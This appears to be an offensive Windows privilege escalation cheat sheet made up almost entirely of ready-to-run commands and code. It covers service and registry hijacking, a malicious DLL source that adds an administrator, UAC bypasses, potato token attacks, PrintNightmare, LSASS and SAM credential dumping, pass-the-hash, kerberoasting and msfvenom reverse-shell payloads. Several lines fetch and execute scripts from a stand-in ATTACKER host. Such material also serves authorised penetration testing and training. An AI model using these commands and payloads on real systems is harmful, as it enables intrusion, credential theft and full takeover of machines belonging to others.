Windows Privilege Escalation

┌──────────────────────────────────────────────────────────────┐  
│ Service misconfig → replace binary / modify config           │  
│ Registry misconfig → AlwaysInstallElevated, AutoRun          │  
│ Token abuse → SeImpersonate → SYSTEM                         │  
│ Weak permissions → writable service binary / DLL             │  
│ DLL hijacking → plant DLL in searched path                   │  
│ Stored credentials → registry, files, cmdkey                 │  
│ Scheduled tasks → writable task binary                       │  
│ UAC bypass → auto-elevate binary hijack                      │  
│ Kernel exploits → MS16-032, MS17-010, etc.                   │  
│ Potato attacks → NTLM relay → impersonate SYSTEM             │  
└──────────────────────────────────────────────────────────────┘

:: Download and run
:: [ATK] python3 -m http.server 8080
:: Transfer via PowerShell:
powershell -c "(New-Object Net.WebClient).DownloadFile('http://ATTACKER/winPEAS.exe','C:\loot\wp.exe')"
C:\loot\wp.exe

:: Save output to file
C:\loot\wp.exe > C:\loot\wp_out.txt

:: Key sections to focus on:
:: 🔴 RED = critical / HIGH = medium
:: Services, Registry autoruns, Credentials, Token privileges
:: AlwaysInstallElevated, Unquoted service paths, DLL hijacking

# Transfer and import
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/PowerUp.ps1')

# Run all checks
Invoke-AllChecks

# Specific checks
Get-ServiceUnquoted           # unquoted service paths
Get-ModifiableServiceFile     # writable service binaries
Get-ModifiableService         # modifiable service configs
Get-RegistryAutoRun           # autorun registry entries
Get-RegistryAlwaysInstallElevated  # AIE check
Get-UnattendedInstallFile     # unattend.xml with creds
Get-WebConfig                 # web.config credentials
Get-ApplicationHost           # applicationHost.config creds
Get-CachedGPPPassword         # GPP/cPassword
Get-ModifiableScheduledTaskFile  # writable task binaries

:: Run all checks
Seatbelt.exe -group=all

:: Specific modules
Seatbelt.exe TokenPrivileges
Seatbelt.exe CredEnum
Seatbelt.exe Services
Seatbelt.exe ProcessCreationEvents
Seatbelt.exe WindowsAutoLogon
Seatbelt.exe ScheduledTasks
Seatbelt.exe FileInfo C:\interesting\file.exe

:: Check service permissions
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv Everyone *
accesschk.exe /accepteula -ucqv <ServiceName>

:: Check directory permissions
accesschk.exe /accepteula -uwdq "C:\Program Files\"
accesschk.exe /accepteula -uwdq "C:\Path\To\Dir"

:: Check file permissions
accesschk.exe /accepteula -quvw C:\Path\To\File.exe

:: Check registry permissions
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\<svc>

:: Current user + groups + privileges — ALWAYS RUN FIRST
whoami /all

:: User info
whoami
whoami /priv      ← check for juicy privileges
whoami /groups    ← check group memberships

:: High-value privileges to look for:
:: SeImpersonatePrivilege    → Potato attacks (almost certain SYSTEM)
:: SeAssignPrimaryToken      → Potato attacks
:: SeDebugPrivilege          → Dump LSASS, inject into SYSTEM processes
:: SeTakeOwnershipPrivilege  → Take ownership of any file
:: SeBackupPrivilege         → Read any file (bypass ACLs)
:: SeRestorePrivilege        → Write any file (bypass ACLs)
:: SeLoadDriverPrivilege     → Load kernel driver → kernel code exec
:: SeCreateSymbolicLink      → Symlink attacks
:: SeManageVolumePrivilege   → Direct disk read → NTDS.dit

:: OS version + hotfixes (patch level → kernel exploits)
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
wmic qfe list brief         ← installed hotfixes
wmic qfe get Caption,Description,HotFixID,InstalledOn

:: Architecture
wmic os get osarchitecture
echo %PROCESSOR_ARCHITECTURE%

:: Hostname + domain
hostname
echo %USERDOMAIN%
echo %LOGONSERVER%

:: Environment variables
set
echo %PATH%
echo %TEMP%

:: All local users
net user
wmic useraccount list full

:: Specific user
net user Administrator
net user <username>

:: Local groups
net localgroup
net localgroup Administrators

:: Domain users/groups (if domain-joined)
net user /domain
net group /domain
net group "Domain Admins" /domain
net group "Remote Desktop Users" /domain

:: Network config
ipconfig /all
arp -a                    ← live hosts on network
route print

:: Open ports / connections
netstat -ano
netstat -ano | findstr LISTENING
netstat -ano | findstr ESTABLISHED

:: Firewall status
netsh advfirewall show allprofiles
netsh firewall show config

:: Shares
net share

:: Running processes (with owner — look for SYSTEM processes)
tasklist /v
tasklist /svc
wmic process list full
wmic process get Caption,ProcessId,CommandLine

:: Services
sc query
sc query type= all state= all
wmic service list brief
net start

:: Services running as SYSTEM or admin (prime targets)
wmic service where "StartName='LocalSystem'" get Name,PathName

:: Check service permissions with accesschk
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
accesschk.exe /accepteula -uwcqv "Everyone" *
accesschk.exe /accepteula -uwcqv Users *

:: Look for: SERVICE_CHANGE_CONFIG or SERVICE_ALL_ACCESS
:: These let you change what binary the service runs

:: Once you find a modifiable service (e.g., "daclsvc"):
:: Step 1: Check current config
sc qc daclsvc

:: Step 2: Change binary path to your payload
sc config daclsvc binpath= "C:\loot\reverse.exe"
:: OR add admin user:
sc config daclsvc binpath= "net localgroup administrators user /add"

:: Step 3: Restart service
net stop daclsvc && net start daclsvc
:: OR if you can't restart — wait or reboot:
shutdown /r /t 0

:: Find all unquoted service paths with spaces
wmic service get name,displayname,pathname,startmode | \
  findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """

:: PowerShell
Get-WmiObject Win32_Service | Where-Object {
  $_.PathName -notmatch '"' -and $_.PathName -match ' '
} | Select-Object Name, PathName, StartMode

:: Check which intermediate path is writable
:: e.g. C:\Program Files\Unquoted Path Service\ — can you write here?
icacls "C:\Program Files\Unquoted Path Service"

:: If writable → place malicious binary at hijacked location
copy C:\loot\reverse.exe "C:\Program Files\Unquoted.exe"

:: Restart service
sc stop "unquotedsvc" && sc start "unquotedsvc"

:: Cleanup
del "C:\Program Files\Unquoted.exe"

:: Find service binaries writable by current user
:: Method 1: accesschk
accesschk.exe /accepteula -uwq "C:\Program Files\" /s

:: Method 2: PowerShell
Get-WmiObject Win32_Service | ForEach-Object {
  $path = $_.PathName -replace '"','' -split ' -' | Select -First 1
  $acl  = Get-Acl $path -EA SilentlyContinue
  $acl.Access | Where-Object {
    $_.IdentityReference -match "Everyone|Users|Authenticated" -and
    $_.FileSystemRights -match "Write|FullControl|Modify"
  } | ForEach-Object { "$($_.IdentityReference) → $path" }
}

:: Method 3: icacls on specific binary
icacls "C:\Path\To\service.exe"
:: Look for: Everyone:(M), BUILTIN\Users:(W), Everyone:(F)

:: Exploit: backup original, replace with malicious binary
copy "C:\Path\To\service.exe" "C:\loot\service.exe.bak"
copy C:\loot\reverse.exe "C:\Path\To\service.exe"
sc stop svcname && sc start svcname

:: Check registry key permissions for services
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services

:: If writable registry key for a service:
reg query HKLM\System\CurrentControlSet\Services\<svcname>

:: Change ImagePath to malicious binary
reg add HKLM\System\CurrentControlSet\Services\<svcname> \
  /v ImagePath /t REG_EXPAND_SZ /d "C:\loot\reverse.exe" /f

sc stop <svcname> && sc start <svcname>

:: Common autorun locations
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
reg query HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon

:: Check if HKLM Run key is writable by low-priv user
accesschk.exe /accepteula -uvwqk "HKLM\Software\Microsoft\Windows\CurrentVersion\Run"

:: If writable HKLM Run key:
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run \
  /v "WindowsUpdate" /t REG_SZ /d "C:\loot\reverse.exe" /f

:: Wait for admin to log in → code runs as that user

:: Check if AlwaysInstallElevated is enabled
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: Both must be 0x1 for exploitation

:: PowerShell check
Get-ItemProperty HKLM:\SOFTWARE\Policies\Microsoft\Windows\Installer
Get-ItemProperty HKCU:\SOFTWARE\Policies\Microsoft\Windows\Installer

:: Exploit: generate malicious MSI
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=ATTACKER LPORT=4444 \
  -f msi -o exploit.msi

:: Transfer and install as low-priv user
msiexec /quiet /qn /i C:\loot\exploit.msi
:: → shell spawns as SYSTEM!

:: PowerUp automation
Write-UserAddMSI    ← generates MSI that adds admin user

:: AutoLogon credentials (stored in plaintext!)
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
:: Look for: DefaultUserName, DefaultPassword, AutoAdminLogon

:: PuTTY stored sessions (may contain credentials)
reg query HKCU\Software\SimonTatham\PuTTY\Sessions /s
reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys /s

:: VNC passwords
reg query HKLM\Software\ORL\WinVNC3\Password
reg query HKCU\Software\ORL\WinVNC3\Password
reg query HKLM\Software\RealVNC\WinVNC4 /v password

:: SNMP community strings
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s

:: Search all registry for "password"
reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s

whoami /priv

:: HIGH VALUE PRIVILEGES:
:: SeImpersonatePrivilege   → Juicy/Sweet/PrintSpoofer → SYSTEM
:: SeAssignPrimaryTokenPrivilege → same potato attacks
:: SeDebugPrivilege         → migrate into SYSTEM process / dump LSASS
:: SeTakeOwnershipPrivilege → own any file
:: SeBackupPrivilege        → read any file ignoring ACL
:: SeRestorePrivilege       → write any file ignoring ACL
:: SeLoadDriverPrivilege    → load kernel driver → kernel exec
:: SeCreateTokenPrivilege   → create token with any privileges
:: SeManageVolumePrivilege  → direct disk access

:: With SeDebugPrivilege you can:
:: 1. Migrate into SYSTEM processes (via Meterpreter or manual injection)
:: 2. Dump LSASS (get credentials)
:: 3. Inject shellcode into SYSTEM processes

:: Dump LSASS with SeDebugPrivilege
:: Metasploit: migrate to SYSTEM process, then:
getsystem
run post/windows/gather/hashdump

:: procdump (Sysinternals)
procdump.exe -ma lsass.exe lsass.dmp
:: Parse: mimikatz → sekurlsa::minidump lsass.dmp → sekurlsa::logonpasswords

:: ProcDump LOLBAS style
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <lsass_PID> C:\loot\lsass.dmp full

:: Take ownership of any file and modify it
:: Example: modify utilman.exe (Ease of Access at login screen)

:: Take ownership
takeown /f C:\Windows\System32\utilman.exe

:: Grant yourself full control
icacls C:\Windows\System32\utilman.exe /grant DOMAIN\user:F

:: Replace with cmd.exe (sticky keys / utilman trick)
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

:: At Windows login screen: Windows Key + U → cmd.exe as SYSTEM!

# SeBackupPrivilege bypasses ACL for reading files
# Use it to read SAM/SYSTEM hives → local account hashes

# Method: robocopy with backup flag
robocopy /B C:\Windows\System32\config C:\loot SAM SYSTEM

# Method: PowerShell with SeBackupPrivilege
# https://github.com/giuliano108/SeBackupPrivilege

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Copy-FileSeBackupPrivilege C:\Windows\System32\config\SAM C:\loot\SAM
Copy-FileSeBackupPrivilege C:\Windows\System32\config\SYSTEM C:\loot\SYSTEM

# Parse offline
secretsdump.py -sam SAM -system SYSTEM LOCAL

:: List stored credentials
cmdkey /list

:: Use stored RDP credentials
runas /savecred /user:admin "cmd.exe"
runas /savecred /user:DOMAIN\admin "C:\loot\reverse.exe"

:: View with PowerShell
[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime]
$vault = New-Object Windows.Security.Credentials.PasswordVault
$vault.RetrieveAll() | % { $_.RetrievePassword(); $_ }

:: Check common locations for unattended install files (contain credentials!)
type C:\Unattend.xml
type C:\Windows\Panther\Unattend.xml
type C:\Windows\Panther\Unattend\Unattend.xml
type C:\Windows\System32\Sysprep\Sysprep.xml
type C:\Windows\System32\Sysprep\Panther\unattend.xml

:: Search for all unattend files
dir /s /b C:\Unattend.xml 2>nul
dir /s /b C:\*unattend* 2>nul
dir /s /b C:\*sysprep* 2>nul

:: Credentials appear as base64 in <Password><Value> tags
:: Decode: [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("BASE64"))

:: Search for GPP files with cPassword
findstr /si cpassword C:\PanicPoint\sysvol\*.xml 2>nul
dir /s /b \\DOMAIN\SYSVOL\*.xml 2>nul

:: Common GPP file locations
\\<DC>\SYSVOL\<domain>\Policies\{GUID}\Machine\Preferences\Groups\Groups.xml
\\<DC>\SYSVOL\<domain>\Policies\{GUID}\Machine\Preferences\Drives\Drives.xml
\\<DC>\SYSVOL\<domain>\Policies\{GUID}\Machine\Preferences\Services\Services.xml

:: Decrypt cPassword with gpp-decrypt
gpp-decrypt <cPassword_value>

:: PowerUp
Get-CachedGPPPassword
Get-GPPPassword    ← from PowerSploit

:: IIS web.config (database/app credentials)
type C:\inetpub\wwwroot\web.config
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
findstr /si connectionstring C:\inetpub\*.config
findstr /si password C:\inetpub\*.config

:: Application files with passwords
dir /s /b C:\*.config 2>nul
dir /s /b C:\*.ini 2>nul
dir /s /b C:\*.txt 2>nul | findstr /i pass
findstr /si "password" C:\Users\*.txt C:\Users\*.xml C:\Users\*.ini

:: PowerShell history
type C:\Users\%username%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

:: SAM backup files
dir /s /b C:\*.bak 2>nul
type C:\Windows\repair\SAM
type C:\Windows\System32\config\RegBack\SAM

:: SSH keys
dir /s /b C:\Users\*id_rsa* 2>nul
dir /s /b C:\Users\*.pem 2>nul

# DPAPI protects: Chrome/Edge passwords, RDP creds, EFS keys, etc.
# Requires user context (their master key)

# List master keys
dir C:\Users\<user>\AppData\Roaming\Microsoft\Protect\

# Mimikatz DPAPI
dpapi::masterkey /in:"C:\Users\user\AppData\Roaming\Microsoft\Protect\S-1-5-...\GUID" /rpc
dpapi::cred /in:"C:\Users\user\AppData\Local\Microsoft\Credentials\GUID"

# SharpDPAPI (no Mimikatz)
SharpDPAPI.exe credentials
SharpDPAPI.exe rdg        ← Remote Desktop credentials
SharpDPAPI.exe chrome     ← Chrome passwords/cookies

:: Check permissions on a specific file/directory
icacls "C:\Path\To\Check"

:: Permission meanings:
:: F = Full Control     ← can do anything
:: M = Modify           ← can write/delete
:: W = Write            ← can write
:: R = Read
:: X = Execute
:: (OI) = Object Inherit (applies to files)
:: (CI) = Container Inherit (applies to subdirs)
:: (IO) = Inherit Only

:: Find writable directories in PATH
for %A in ("%path:;=" "%") do icacls "%~A" 2>nul | findstr /i "Everyone\|Users\|Authenticated" | findstr /i "F\|M\|W"

:: Find all writable files/dirs (PowerShell)
Get-ChildItem "C:\Program Files\" -Recurse -EA SilentlyContinue | ForEach-Object {
  $acl = Get-Acl $_.FullName -EA SilentlyContinue
  $acl.Access | Where-Object {
    $_.IdentityReference -match "Everyone|Users|Authenticated" -and
    $_.FileSystemRights -match "Write|FullControl|Modify"
  } | ForEach-Object { $_.FullName }
}

:: Check %TEMP% and %APPDATA% execution from PATH
echo %PATH%
:: If %TEMP% or user-writable path is in PATH → DLL/EXE hijacking possible

:: Method 1: Process Monitor (Procmon) — filter for NAME NOT FOUND
:: Filter: Operation=LoadImage, Result=NAME NOT FOUND, Path ends with .dll
:: Any NAME NOT FOUND in a writable directory = hijackable!

:: Method 2: Identify DLLs a service needs via strings
strings "C:\Program Files\Service\service.exe" | findstr /i "\.dll"

:: Method 3: Check known hijackable DLLs
:: https://hijacklibs.net/ ← full database of hijackable DLLs

:: Method 4: SysInternals ListDLLs
listdlls.exe <processname>

:: Check if any loaded DLL directory is writable
icacls "C:\Program Files\Vulnerable App\"

// evil.dll — minimal malicious DLL
// Compile: x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll

#include <windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
    switch (fdwReason) {
        case DLL_PROCESS_ATTACH:
            // Payload executes when DLL is loaded
            system("cmd /c net localgroup administrators user /add");
            // OR:
            // system("cmd /c C:\\loot\\reverse.exe");
            break;
    }
    return TRUE;
}

# Cross-compile on Linux
x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll
i686-w64-mingw32-gcc evil.c -shared -o evil32.dll

# msfvenom DLL payload
msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=ATTACKER LPORT=4444 \
  -f dll -o evil.dll

:: Place DLL in hijackable location
copy C:\loot\evil.dll "C:\Vulnerable Path\missing.dll"

:: Trigger by restarting service or waiting for scheduled execution
sc stop vulnsvc && sc start vulnsvc

:: Enumerate scheduled tasks
schtasks /query /fo LIST /v
schtasks /query /fo LIST /v | findstr /i "Task Name\|Run As\|Status\|Task To Run"

:: PowerShell (cleaner)
Get-ScheduledTask | Select TaskName,TaskPath,State | Format-List

:: Get task action (what binary runs)
Get-ScheduledTask -TaskName "TaskName" | Select -ExpandProperty Actions

:: Check if task binary is writable
icacls "C:\Path\To\TaskBinary.exe"
accesschk.exe /accepteula -qvw "C:\Path\To\TaskBinary.exe"

:: If writable:
copy C:\loot\reverse.exe "C:\Path\To\TaskBinary.exe"

:: Check task run time and wait, or trigger manually:
schtasks /run /tn "TaskName"

:: Create your own (if you have rights)
schtasks /create /tn "WindowsSync" /tr "C:\loot\reverse.exe" \
  /sc ONLOGON /ru SYSTEM /f

:: Check current integrity level
whoami /groups | findstr /i "integrity"
:: Medium Mandatory Level = UAC bypass needed
:: High Mandatory Level   = already elevated admin
:: System Mandatory Level = SYSTEM

:: Check UAC settings
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
:: 0 = UAC disabled, 5 = default (prompt for non-Windows binaries), 2 = always prompt

:: Works on Windows 10+ (any build)
:: Auto-elevates and reads HKCU before HKLM

reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /d "cmd.exe" /f
reg add HKCU\Software\Classes\ms-settings\Shell\Open\command /v DelegateExecute /d "" /f
fodhelper.exe
reg delete HKCU\Software\Classes\ms-settings /f

reg add HKCU\Software\Classes\mscfile\shell\open\command /d "cmd.exe" /f
eventvwr.exe
reg delete HKCU\Software\Classes\mscfile /f

:: Abuses the SilentCleanup scheduled task (runs elevated without UAC)
:: Hijacks %WINDIR% environment variable

set __COMPAT_LAYER=RunAsInvoker
set WINDIR=C:\loot
schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

:: Place your payload as: C:\loot\System32\cleanmgr.exe
mkdir C:\loot\System32
copy C:\loot\reverse.exe C:\loot\System32\cleanmgr.exe

cmstp.exe /ni /s C:\loot\payload.inf

# UACME — comprehensive UAC bypass tool
# https://github.com/hfiref0x/UACME

# Method 33 — SilentCleanup (works on all Win10 versions)
Akagi64.exe 33 C:\loot\reverse.exe

# Method 41 — fodhelper
Akagi64.exe 41 C:\loot\reverse.exe

# Check UACME readme for version-specific method numbers

:: Get exact OS version + build
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
wmic os get Caption,Version,BuildNumber,ServicePackMajorVersion

:: Installed hotfixes
wmic qfe list brief
wmic qfe get HotFixID | sort

:: Windows Exploit Suggester (from attacker — input systeminfo output)
python windows-exploit-suggester.py --update
python windows-exploit-suggester.py --database 2024-xx-xx-mssb.xlsx --systeminfo systeminfo.txt

:: Sherlock (PowerShell — checks for missing patches)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Sherlock.ps1')
Find-AllVulns

:: Watson (.NET — more current than Sherlock)
Watson.exe

:: Affects: Windows 7-10, Server 2008-2012 R2 (NOT patched with KB3143141)
:: Check: wmic qfe | findstr 3143141  ← if NOT listed = vulnerable

:: PowerShell exploit
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/MS16-032.ps1')
Invoke-MS16-032
Invoke-MS16-032 -Application cmd.exe -commandline "/c C:\loot\reverse.exe"

# Check if Spooler is running
sc query Spooler
Get-Service Spooler

# Method 1: Local PrivEsc via DLL
# https://github.com/calebstewart/CVE-2021-1675

Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare       ← adds new admin user adm1n/P@ssw0rd
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pass123!" -DriverName "Driver"

# Method 2: Remote code exec via malicious UNC path
# evil_driver.dll must export specific functions
Invoke-Nightmare -DLL "\\ATTACKER\share\evil.dll"

:: With SYSTEM on a machine, dump SAM
reg save HKLM\SAM   C:\loot\sam
reg save HKLM\SYSTEM C:\loot\system
:: Transfer and parse:
secretsdump.py -sam sam -system system LOCAL

:: With Mimikatz
mimikatz# privilege::debug
mimikatz# lsadump::sam
mimikatz# sekurlsa::logonpasswords   ← may contain domain creds in memory!

# Use NTLM hash to authenticate without knowing the password
# Works against: SMB, WMI, WinRM, RDP (RestrictedAdmin), LDAP

# impacket
psexec.py -hashes :NTLM_HASH DOMAIN/admin@192.168.1.10
wmiexec.py -hashes :NTLM_HASH DOMAIN/admin@192.168.1.10
smbexec.py -hashes :NTLM_HASH DOMAIN/admin@192.168.1.10
secretsdump.py -hashes :NTLM_HASH DOMAIN/admin@DC_IP

# CrackMapExec
crackmapexec smb 192.168.1.0/24 -u admin -H NTLM_HASH
crackmapexec smb 192.168.1.10 -u admin -H NTLM_HASH -x "whoami"
crackmapexec winrm 192.168.1.10 -u admin -H NTLM_HASH

# Request TGS tickets for service accounts → crack offline
# Works with ANY domain user account

# impacket
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -outputfile hashes.kerberoast

# Crack with hashcat
hashcat -m 13100 hashes.kerberoast rockyou.txt

# PowerShell (from domain-joined machine)
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER/Invoke-Kerberoast.ps1')
Invoke-Kerberoast -OutputFormat Hashcat | Select -ExpandProperty hash | Out-File kerberoast.txt
hashcat -m 13100 kerberoast.txt rockyou.txt

:: If you're SYSTEM on a domain machine, list domain user tokens
:: Any domain admin logged in = their token available for impersonation

:: Incognito (Metasploit)
meterpreter > use incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token "DOMAIN\\DomainAdmin"
meterpreter > getuid         ← should show DOMAIN\DomainAdmin

:: Spawn shell as impersonated user
meterpreter > shell
whoami

// If you can create a named pipe server and trick a SYSTEM service into connecting:
// The service's token is impersonated → SYSTEM shell

// This is the core mechanic behind Potato attacks (Hot/Juicy/Sweet/Rogue)
// Tools handle this automatically — see Section 16 & 17

// Manual detection of SYSTEM processes using named pipes:
// Process Monitor → filter for Operation=Connect Pipe + Path=\\\\.\\pipe\\*
// If a SYSTEM process connects to a pipe you control → impersonation possible

:: Requires: SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
:: Affects: Windows 7-10 (< 1809), Server 2008-2016

:: Check privilege
whoami /priv | findstr /i "impersonate\|assignprimary"

:: Get a CLSID for the target OS:
:: https://github.com/ohpe/juicy-potato/tree/master/CLSID

:: Run JuicyPotato
JuicyPotato.exe -l 1337 -p C:\loot\reverse.exe -t * -c {CLSID_FOR_OS}

:: Common CLSIDs:
:: Windows 10 Enterprise: {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}
:: Server 2016:           {e60687f7-01a1-40aa-86ac-db1cbf673334}
:: Server 2019:           (use RoguePotato instead)

:: Add admin user instead of reverse shell:
JuicyPotato.exe -l 1337 -p cmd.exe -a "/c net localgroup administrators user /add" -t * -c {CLSID}

:: Works on: Windows 10, Server 2019, Server 2022
:: Uses EfsRpc (EFSPOTATO) or DCOM techniques — no CLSID needed

:: Run reverse shell
SweetPotato.exe -p C:\loot\reverse.exe

:: Add admin user
SweetPotato.exe -p cmd.exe -a "/c net localgroup administrators user /add"

:: Specify technique
SweetPotato.exe -e EfsRpc -p C:\loot\reverse.exe
SweetPotato.exe -e DCOM -p C:\loot\reverse.exe

:: Designed for Server 2019 where Juicy Potato DCOM is patched

:: Setup: Attacker runs socat relay
socat TCP-LISTEN:135,fork,reuseaddr TCP:VICTIM_IP:9999 &

:: On victim:
RoguePotato.exe -r ATTACKER_IP -e "C:\loot\reverse.exe" -l 9999

:: Requires: SeImpersonatePrivilege
:: Works on: Windows 10, Server 2019 (where JuicyPotato fails)

:: Check privilege
whoami /priv | findstr SeImpersonatePrivilege

:: Interactive SYSTEM shell
PrintSpoofer.exe -i -c cmd

:: Execute command
PrintSpoofer.exe -c "C:\loot\reverse.exe"

:: Add admin user
PrintSpoofer.exe -c "net localgroup administrators user /add"

:: Works on: Windows Server 2012 - 2022, Windows 8 - 11
:: Universal replacement for all previous potato attacks

:: Execute command as SYSTEM
GodPotato.exe -cmd "cmd /c whoami"
GodPotato.exe -cmd "C:\loot\reverse.exe"
GodPotato.exe -cmd "net localgroup administrators user /add"

:: Uses EFS (Encrypting File System) RPC call
:: Works on patched systems where other potatoes fail

EfsPotato.exe "C:\loot\reverse.exe"

:: WinPEAS — most comprehensive
winpeas.exe > output.txt
winpeas.exe quiet cmd fast    ← faster, less noise

:: PowerUp — PowerShell, focused on misconfigs
IEX(IWR 'http://ATTACKER/PowerUp.ps1')
Invoke-AllChecks | Out-File -Encoding ASCII powerup_out.txt

:: Watson — kernel exploit suggester (.NET)
Watson.exe

:: Seatbelt — situational awareness
Seatbelt.exe -group=all -outputfile="seatbelt_out.txt"

:: SharpUp — C# port of PowerUp
SharpUp.exe audit

:: PEASS-ng (linpeas/winpeas) download:
:: https://github.com/carlospolop/PEASS-ng/releases

:: PrivescCheck — PowerShell (no admin needed)
IEX(IWR 'http://ATTACKER/PrivescCheck.ps1')
Invoke-PrivescCheck | Out-File privesc_out.txt
Invoke-PrivescCheck -Extended -Report privesc_report -Format TXT,HTML

:: === FIRST COMMANDS AFTER SHELL ===
whoami /all
systeminfo
net user %username%
net localgroup administrators
ipconfig /all
netstat -ano

:: === SERVICE EXPLOITS ===
accesschk.exe /accepteula -uwcqv "Authenticated Users" *
sc qc <servicename>
sc config <svc> binpath= "C:\loot\p.exe"
net stop <svc> && net start <svc>
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /v "\""

:: === REGISTRY ===
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"

:: === CREDENTIALS ===
cmdkey /list
reg query HKLM /f password /t REG_SZ /s
type C:\Windows\Panther\Unattend.xml
type C:\Users\%username%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

:: === KERNEL CHECKS ===
wmic qfe list brief
wmic qfe get HotFixID | findstr "3143141"   ← MS16-032 patch check

:: === PERMISSIONS ===
icacls "C:\Path\To\Check"
accesschk.exe /accepteula -uwdq "C:\Program Files\"

# Reverse shell EXE
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f exe -o reverse.exe

# Reverse shell DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f dll -o evil.dll

# MSI (AlwaysInstallElevated)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=IP LPORT=4444 -f msi -o evil.msi

# Add admin user EXE (no listener needed)
msfvenom -p windows/adduser USER=hacker PASS=Pass123! -f exe -o adduser.exe

# Meterpreter (staged)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=4444 -f exe -o meter.exe

# PowerShell download (attacker serves on :8080)
(New-Object Net.WebClient).DownloadFile('http://ATTACKER:8080/p.exe','C:\loot\p.exe')
IWR -Uri 'http://ATTACKER:8080/p.exe' -OutFile 'C:\loot\p.exe'

# certutil (noisy)
certutil -urlcache -split -f http://ATTACKER:8080/p.exe C:\loot\p.exe

# SMB share (impacket)
# [ATK] impacket-smbserver share . -smb2support
copy \\ATTACKER\share\p.exe C:\loot\p.exe

# Base64 encode/paste (when no network out)
# [ATK] cat p.exe | base64 -w0
$b=[Convert]::FromBase64String("BASE64STRING")
[IO.File]::WriteAllBytes("C:\loot\p.exe",$b)